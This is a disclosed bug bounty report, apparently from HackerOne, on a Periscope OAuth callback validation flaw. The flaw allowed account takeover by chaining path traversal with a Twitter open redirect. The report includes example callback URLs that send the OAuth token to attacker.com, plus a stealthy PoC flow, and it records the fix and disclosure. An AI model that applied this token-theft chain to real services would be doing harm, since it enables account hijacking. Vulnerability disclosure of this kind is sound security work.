40 Insufficient OAuth callback validation which leads to Periscope account takeover

Share:

State ○ Resolved (Closed)

Disclosed **April 11, 2019 1:19am +0530**

Reported To Twitter

Weakness Improper Authentication - Generic

Bounty $5,040

Severity No Rating (---)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE

filedescriptor submitted a report to **Twitter**. Jan 12th (3 years ago)

Hi,
I would like to report an issue in the Periscope Twitter application which allows attacker to circumvent the callback locking to takeover victim's Periscope account which is connected to a Twitter account.

Detail

In the mobile Periscope app, the *consumer_key* and *consumer_secret* for Twitter application are directly embedded into the app in order to facilitate the OAuth process. The key and secret are protected by obfuscation but it can be recovered by reverse engineering.

For reference this is the key and secret for Periscope:

```
CONSUMER_KEY: ████████
CONSUMER_SECRET: ███
```

In fact, the leakage of the key and secret pair is *not* a major security concern as Twitter provides the "Callback Locking" protection to prevent the *callback_url* to be overwritten during the Request Token phase.

Periscope *does* employ callback locking. However, the locking for Periscope is kind of special compared to normal applications (I guess this is only for Twitter's official applications). In short, it checks whether the protocol for *callback_url* can be used to leak the OAuth token to third parties. For example, `https://`, `http://`, `ftp://` are forbidden, while `twittersdk://` and `whatever://` are allowed. The check is sufficient by itself. However, the check is under the assumption that the *callback_url* provided is a complete URI. In addition, it is discovered that it is possible to **use only the path** for *callback_url* and pass the test (e.g. a/../home is valid), and that allows the path to be traversed. Now, if an attacker can find an open redirector on Twitter, he/she can use that as *callback_url* to redirect victim with the OAuth token to attacker's control site.

The attack flow would look like this:

1. Attacker uses the consumer key & secret to generate a request token
2. Victim authorizes the Periscope app for the request token
3. Victim is redirected to the open redirector with path traversal (e.g. /redirect?url=http://attacker.com/#&oauth_token=..)
4. Victim then lands on attacker controlled site with the token (http://attacker.com/#&oauth_token=)
5. Now the attacker gains the OAuth token from victim. He/she can use it to to exchange for *access_token* and logins victim's Periscope account.

(By the way, the URL fragment in step 3 is a common technique to preserve tokens during HTTP redirect which I really like)

And without surprise, such open redirect bug does exist.
In the login page (https://twitter.com/login?redirect_after_login=), the *redirect_after_login* parameter can be specified to redirect users if they have logged in. There's a check in place which rejects any URL which is not belong to a Twitter subdomain (i.e. whitelist *.twitter.com). However, for Twitter ads one can make a generation card and set the fallback URL to any destination, and the URL for the card happens to be a Twitter

subdomain (cards.twitter.com). So after all, attackers can first setup a generation card to redirect to attacker's controlled site, and use the card URL as *redirect_after_login*.

The redirection flow:

1. callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/card_id
2. https://cards.twitter.com/card_id
3. https://attacker.com

BAM BAM BAM

Now, Periscope has enabled "Login with Twitter", that means the user will automacially authorize the app for authentication if he/she has done that once before, attacker can abuse that to make the whole attack **stealthy and without user interaction**.

PoC

1. Prepare an Periscope account which is connected to a Twitter account, and make sure you have logged in Twitter as that account
2. Go to https://twitter.com/attackerfoobar/status/686936815945789440
3. Wait for a moment
4. Your Periscope account will then be renamed as "Pwn3d"

In this PoC I embedded the payload in a player card to achieve maximum stealthiness, so that whenever the tweet arrives to victim's timeline the attack automatically triggers. You can also check out the standalone PoC here: https://innerht.ml/pocs/periscope-oauth-callback-hijack

Video demonstration: https://vimeo.com/151530694 (password: xauth)

Fix

Since the open redirect bug is more like a feature and may be many of them out there, I would suggest to improve the validation on the callback locking. For example, only allow the *callback_url* to be a complete URL should do the job.

bfd changed the status to ○ **Triaged**. Jan 15th (3 years ago)

Thank you for your report. We believe it may be a valid security issue and will investigate it further. It could take some time to find and update the root cause for an issue, so we thank you for your patience.

Also, as always, good find and excellent writeup! Thank you for helping keep Twitter secure!

Twitter rewarded filedescriptor with a **$5,040** bounty. Jan 16th (3 years ago)

Thanks again. As mentioned we'll keep you updated as we investigate further. As a reminder, please remember to keep the details of this report private until we have fully investigated and addressed the issue.

filedescriptor posted a comment. Updated Jan 16th (3 years ago)

Thanks! It's also enjoyable working with you guys :)
By the way I found that `mailto://` is also allowed. This may be a potential weakness to make the token being sent via mail. This requires user interaction though so probably not a big deal

andrewsorensen closed the report and changed the status to ○ **Resolved**. Jun 29th (2 years ago)

We consider this issue to be fixed now (we will address the mailto:// separately). Can you please confirm?

Thank you for helping keep Twitter secure!

filedescriptor posted a comment. Jun 29th (2 years ago)

I can confirm this is fixed.

filedescriptor requested to disclose this report. Mar 18th (24 days ago)

rajat_tw agreed to disclose this report. Apr 11th (9 hrs ago)

This report has been disclosed. Apr 11th (9 hrs ago)